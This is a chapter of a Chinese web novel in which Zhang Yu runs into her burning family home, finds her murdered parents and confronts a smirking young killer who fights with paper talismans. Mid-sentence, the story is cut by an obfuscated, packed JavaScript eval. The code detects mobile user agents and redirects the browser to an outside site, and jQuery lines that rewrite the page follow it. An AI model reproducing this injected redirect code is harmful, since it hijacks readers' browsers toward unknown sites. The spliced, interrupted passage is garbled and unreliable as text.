浓烟滚滚,漆黑如同深夜下坠的悬崖。
章予常常做这样的梦,梦见自己站在悬崖边,她总是不知道为什么要向前走,走过去,跌下去,腿一抖,便惊醒自己。
有时娘亲会坐在她床边,用手拍她的背。娘亲的手很软,声音也软,说我们小予做噩梦啦,不怕不怕,明天娘亲给你炖骨头汤喝。
她便说,她说娘亲,那我要吃猪骨头。
“娘!娘!”章予在噩梦中惊醒过来,她从悬崖上往下落。
“娘!”她声嘶力竭,火焰点燃她的衣袖,她看四周,转圆圈,四周都是火焰,衣服绊她的脚。
章予险些跌坐下来,火跳跃着要去烧她,她被一双手接住了。
抬眼去看,是萧祚,此时他唇角紧绷着,眉头紧锁着,比起说怒容,他似乎流露出某种被她认为是悲伤或是担心的表情,但是因为太深切了,而她眼前太朦胧了,她看不真切。
火光,熊熊的火光,将要把天吞噬掉,将要把地拔除掉,要把她的骨血和声音燃成灰烬。
火光,在她眼前晕染成画布上干干巴巴磕磕绊绊的红,她的眼泪流下来,随着火焰中的空气晃悠悠。
“萧祚,”章予慌不择路,扒他的手,“救救我娘,求求你救救我娘。”
“章予,”他叫她,远似天边幻听。
但是她大梦初醒,就像是在火焰中终于捡到了自己的名字。
“对,”章予喃喃着,“我现在会武功了,我可以救我的家人了。”
她抬起头来,喘着粗气,眼睛弯着,似笑非笑,似哭非哭,流着眼泪笑,咧着嘴巴哭。
萧祚扶着她的胳膊,将她拉进怀中了。他一遍遍顺着她的背,一遍遍说:“你冷静,你先冷静。火太大了,你不能......”
章予却没有办法冷静,她尖叫着甩开他,向后退,忽然就觉得恼怒。
因而她向他大吼,她想自己应该是又狰狞又蠢,像是被狼叼住后蹄的受惊的鹿:“你不去救,我去救。”
、
她挑拣伤人的话说,“因为不是你的父母,所以你根本不会想要去救,你不在乎你的命,你也并不在乎我的命。”
“不是的,”萧祚向前一步,伸出手,急切地对她解释。
章予却只觉得喘不上来,窒息感在她头脑中弥漫,变成让她想要呕吐的恶心感。
他向前进,她向后退。退无可退,章予背后碰到了人。
那人“哎哟”一声,手里提着的水桶晃了晃,洒出一些水,泼湿了她的裙角。是个仆从,脸上黑一道灰一道,满脸惊惶。他回头见是章予,忙对她说:“小姐,城主和夫人还在里面。”
萧祚一个大跨步拽住她:“你不能进去。”
章予看着他的眼睛,看着他的眼睛一根一根去掰开他的手指头,她力气没有他大,他攥得又很紧。
章予气急了,从身后掏出匕首来,举在他的面前。
一字一顿的,章予对他说:“你今天拦我,他们死在里面,你就是我的仇人。”
火光打在匕首上,晃着他们二人的眼睛,在各自的脸上投下光斑。
萧祚怔愣了一下,像是想起了什么,手也因此松开些。
章予趁机挣脱开,向着宅院里面,跳进火海。
萧祚伸手想要去拽,握紧的手心里,只抓住了呛鼻的空气。
章予慌不择路地向正院去,树枝横七竖八,从头顶砸下来的,打在她肩膀上,从身侧划过去的,将她肌肤割开血淋淋的口子。
疼痛,眩晕,窒息,脑子想要她就地晕眩过去,让她昏昏沉沉,眼皮在颤抖。
这条路怎么这么长,小时候,娘亲有时候会从正院的小厨房,亲自端着炖好的骨头汤,穿过这长长的回廊,送到她读书的育才堂来。
汤盅用棉布包着,还是滚烫的。娘亲总会笑着摸她的头,说我们小予用功啦,快趁热喝。
汤端到的时候,上面那层油花儿还是完整的。
原来,原来走了这么长的路吗?
热浪扭曲了空气,看出去,前方的景象都在晃动,像是隔着一层流动的水。
终于,她看到了正院那扇熟悉的圆拱门。
门大敞着,欢迎她走进最痛切的悲剧之中。
娘和爹安然躺在床上,绣着鸳鸯的被子盖到他们脖子,他们似乎只是睡熟了,火势蔓延到天际的浓烟,是夜色而已。
章予颤颤巍巍地伸出指头探他们鼻息,还未探到,忽然觉得有什么淋在她脚上。
章予低头去看,
一滴,两滴,啪嗒,啪嗒......
血色晕湿她鞋袜,她只觉得脑袋中在嗡鸣,像有和尚在她脑海中撞钟。
辰时,午时,子时,撞过了她的一生,撞尽了她的生命。
她猛地伸出手,抓住被子的一角,向下扯。
血就像她止不住的眼泪一样,沿着娘亲和父亲的胸口,化出一条血色的长河。
在他们的胸口处,赫然是两把小刀,木制的,钝得像是村口屠夫剁了十年猪肉。
就是这样两把其貌不扬的木头刀,直挺挺地扎在她母父的胸口,直挺挺地斩断了她的念想、她的希望,将她的生命,一刀两断。
章予拼命地用手去捂住他们的伤口,也不敢拔刀,她又用匕首去割被子,割成一条条的条带状,去堵那涓流不息的血河。
“哟,”章予忽然听见身后有声音,没听过的年轻的男子的声音,轻飘飘的,得意而轻佻。
她回头去看,先看见门边金色的锦袍,再往上看,看到靠在胸前的胳膊,看见手中握着的一张赤黄色的符纸,终于看见了那个人的脸,和自己一样长在右侧的虎牙,嘴角上扬着,像常常趴在屋顶睡觉的猫,眼睛是琥珀色的,笑眯眯地向着她看过来。
他就靠在门边上,右腿搭在左腿上,侧着头看她,貌似这一切混乱都与他无关,他只是大千世界里,路过她的惨淡、痛苦、悲伤与绝望的过客。
“你是谁?”章予问他。
他却只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027197|189445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盯着她笑:“原来这还有个漏网之鱼,不如你选选,是我用这符纸先将你催眠了再杀你,还是一刀给你个痛快。”
“是你杀了我母父?”章予问他,声音抖得不成样子。她想她此刻应该是眼眶通红,即便瞠目欲裂,也显得格外幼稚。
因而他全然不把她放在眼里,继续笑嘻嘻道:“不止哦~还有你那个蠢货弟弟,从苗家来的朋友,长得格外漂亮的朋友,我都杀掉了哦~”
他语气很平淡,在她听来却阴森森的,像是给客人介绍自己货品的小商贩,“一点都不疼的,我专门用了这符纸让他们睡熟了。”
“他们和你无冤无仇,”章予大喊着,“你为什么要杀掉他们?”
他“啧”了一声,似乎还真想了想,竟掰着手指向她一一列举:“你父母呢,有叛国之心,不得不除;你朋友呢,苗族那个,我跟着你们好几天,听说她好像师出五水,我师姐和五水有点仇,顺手就替我师姐报仇了;长得漂亮的那个,”他摇摇头,皱着眉头说,“我第一次见有人长得比我漂亮,看他不顺眼极了,就杀了~”
好荒唐,好随意,几条生命,他杀得这样正当又得意。
像拂去衣袖上的灰尘,踩死路边的蚂蚁,摘下春日的柳叶。
“我要杀了你,我一定要杀了你。”章予从身后拔出匕首来,直直地向他刺过去。
他一点都不慌张,连姿势都没有变,只轻轻一挥手,甩出符纸来。只听铛的一声,章予撞在一面墙上,捂着脑袋险些跪下来。
章予抬头去看,却看不见这墙,只能看到一张符纸,似乎贴在什么上面,竟牢固得一动不动,恍若她面前只是一道空气,将她拦截下来。
少年终于站直了身体。他拍了拍手上并不存在的灰尘,好整以暇地,一步,一步,朝她走过来。
他比她高上半头,和她对视就弯下腰来,十足的轻视姿态,如同猎到了猎物的狸猫,慢悠悠地观察动物在他爪子下面挣扎。
“好不听话啊。”他叹了口气,居然真的带上一丝嗔怪,仿佛只是在训斥自己不听话的宠物。
他眯着眼睛,声音隔着一道墙,嗡嗡得传进章予的耳朵,“不过嘛,我其实挺喜欢不听话的,杀人太容易了,很无趣的。”
他露出右侧的虎牙来,看着章予因为愤怒瞪圆的眼睛,仔仔细细盯了好久,脸上竟露出有些惊喜的表情了
“你好特别,”他竟是第一个对章予说出她年少时候听才子佳人话本中,那所谓暧昧的台词的人,“你和我见过的其他人都不一样。”
章予道:“是因为我看起来像是能杀掉你吗?”
这人居然点点头道:“好像是呢,可是你看起来好弱啊,为什么不感到恐惧呢?”
章予便笑起来,依旧笑得很难看,“你不是问我想要怎么死吗?那我选和你堂堂正正地打一场,你死我活。”
“怎么听起来都是我死,”少年直起身来了,他神色终于有了几分的认真,似乎很真诚地对章予建议道:“你打不过我的。”